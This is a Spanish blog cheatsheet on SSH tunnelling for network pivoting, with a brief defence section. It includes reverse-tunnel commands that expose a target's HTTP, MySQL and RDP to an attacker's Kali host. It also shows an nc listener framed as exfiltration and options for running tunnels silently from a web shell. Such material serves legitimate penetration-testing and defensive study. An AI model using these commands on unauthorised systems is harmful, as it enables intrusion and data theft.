← Blog

SSH — Túneles, ProxyJump y Reenvío de Puertos

Túneles SSH para pivoting: local port forwarding (-L), SOCKS dinámico (-D), ProxyJump (-J), reverse forwarding (-R) y opciones de no interactividad para shells no interactivas.

1. Operational Scope & Technical Objective

SSH es la herramienta de pivoting por excelencia: encapsula tráfico arbitrario dentro de una sesión SSH, convirtiendo una credencial válida en un túnel a la red interna. Los cuatro modos cubren el espectro completo: -L expone un servicio interno en tu localhost, -D crea un SOCKS proxy para cualquier destino interno, -J (ProxyJump) salta a través de un host intermedio, y -R abre un puerto en el host remoto que apunta de vuelta a tu máquina (reverse tunnel, eludiendo firewalls de egress). Con -f -N la sesión corre en background sin shell.

2. High-Impact Syntax & Command Cheatsheet

# Local port forward: alcanzar un servicio interno vía un host puente
ssh tunneler@server_ip -p 2222 -L 1234:an_internal_server_ip:80
#   -L 1234:host:80 -> tu localhost:1234 reenvía a host:80 (solo alcanzable desde server_ip)
#   Ahora curl localhost:1234 devuelve an_internal_server_ip:80

# Dynamic forward: SOCKS proxy para CUALQUIER destino interno
ssh tunneler@server_ip -p 2222 -D 1080
#   -D 1080 -> túnel SOCKS en 127.0.0.1:1080
#   Configura proxychains: socks4a 127.0.0.1 1080
#   proxychains curl http://any_internal_server_ip/

# ProxyJump: llegar a un host interno a través del host puente
ssh -J tunneler@server_ip:2222 whistler@an_internal_host
#   -J -> cadena de salto; an_internal_host solo es accesible desde server_ip

# Reverse port forward: el server escucha y el tráfico vuelve a nuestra máquina
ssh whistler@server_ip -p 2222 -R 58671:localhost:1234
#   -R 58671:localhost:1234 -> server_ip:58671 reenvía a NUESTRO localhost:1234
#   En el atacante: nc -nlvp 1234 recibe el tráfico (exfiltración desde el objetivo)

# ProxyJump + dynamic forward encadenados (proxy del 2º salto)
ssh -J firstuser@1st_box:2222 seconduser@2nd_box -D 1080
#   El SOCKS sale por 2nd_box; proxychains socks4a 127.0.0.1 1080
#   proxychains curl http://any_internal_server_ip/ (solo alcanzable desde 2nd_box)

# Bypass del prompt de primera conexión (shell no interactiva)
ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" ...

# Reverse tunneling múltiple en una sola sesión, en background (-f -N)
ssh -f -N -R 8000:10.3.3.14:80 -R 4443:10.3.3.14:443 -R 33306:10.3.3.14:3306 -R 33389:10.3.3.14:3389 \
  -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i key kali@192.168.19.57
#   -f -> background tras autenticarse; -N -> sin ejecutar comandos (solo túnel)
#   Exposición remota de HTTP, HTTPS, MySQL y RDP del objetivo hacia el atacante

# Matar los túneles en background
ps -C ssh
kill -9 <pid>

3. Real-World Offensive/Defensive Scenarios

Pivoting multi-salto. La combinación -J + -D convierte un jump host en el trampolín de un SOCKS: una credencial en el borde abre toda la red interna a proxychains, nmap -sT, xfreerdp o smbclient sin tocar la red directamente.

Reverse tunnel desde el objetivo. -R conecta hacia fuera (egress): si el objetivo solo puede salir a internet, el túnel inverso lleva el tráfico de vuelta al atacante, eludiendo firewalls que bloquean conexiones entrantes. Los múltiples -R exponen servicios internos (SQL, RDP) al canal del atacante en una sola sesión.

Opciones de no-interactividad. UserKnownHostsFile=/dev/null + StrictHostKeyChecking=no eliminan los prompts que rompen los túneles lanzados desde una web shell o un cron; -f -N deja el túnel viviendo sin sesión de shell.

Defensa. SSH es críptico y de alto volumen: los túneles (-L/-D/-R) son difíciles de distinguir de SSH legítimo, por lo que la defensa se apoya en policy por cuentas (permitir AllowTcpForwarding solo donde se necesite), auditoría de conexiones SSH salientes/entrantes (patrones de duración y volumen), y restringir el origen de las claves autorizadas (AuthorizedKeysFile). Detectar -R requiere correlacionar puertos nuevos abiertos en el host remoto con el proceso ssh de origen.